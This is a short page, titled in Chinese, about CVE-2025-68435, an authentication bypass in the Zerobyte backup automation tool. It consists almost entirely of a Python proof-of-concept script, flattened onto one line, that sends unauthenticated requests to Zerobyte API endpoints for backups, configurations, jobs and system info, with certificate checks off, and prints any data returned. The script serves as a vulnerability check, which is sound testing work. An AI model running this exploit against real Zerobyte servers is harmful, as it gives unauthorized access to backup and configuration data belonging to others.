CVE-2025-68435 Zerobyte 备份工具认证绕过漏洞

import requests # CVE-2025-68435 PoC - Zerobyte Authentication Bypass # Target: Zerobyte backup automation tool # Vulnerability: Authentication middleware not properly applied to API endpoints def check_zerobyte_auth_bypass(target_url): """ Check if target Zerobyte instance is vulnerable to CVE-2025-68435 """ vulnerable_endpoints = [ "/api/backups", "/api/configurations", "/api/jobs", "/api/system/info" ] print(f"[*] Testing {target_url} for CVE-2025-68435") print(f"[*] Target: {target_url}") print("-" * 50) for endpoint in vulnerable_endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: # Send request without any authentication headers response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Response: {response.text[:200]}...") elif response.status_code == 401: print(f"[-] Protected: {url} (401 Unauthorized)") else: print(f"[*] Endpoint: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {url}: {e}") print("-" * 50) print("[*] Scan complete") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] check_zerobyte_auth_bypass(target) else: print("Usage: python cve-2025-68435_poc.py http://target:port")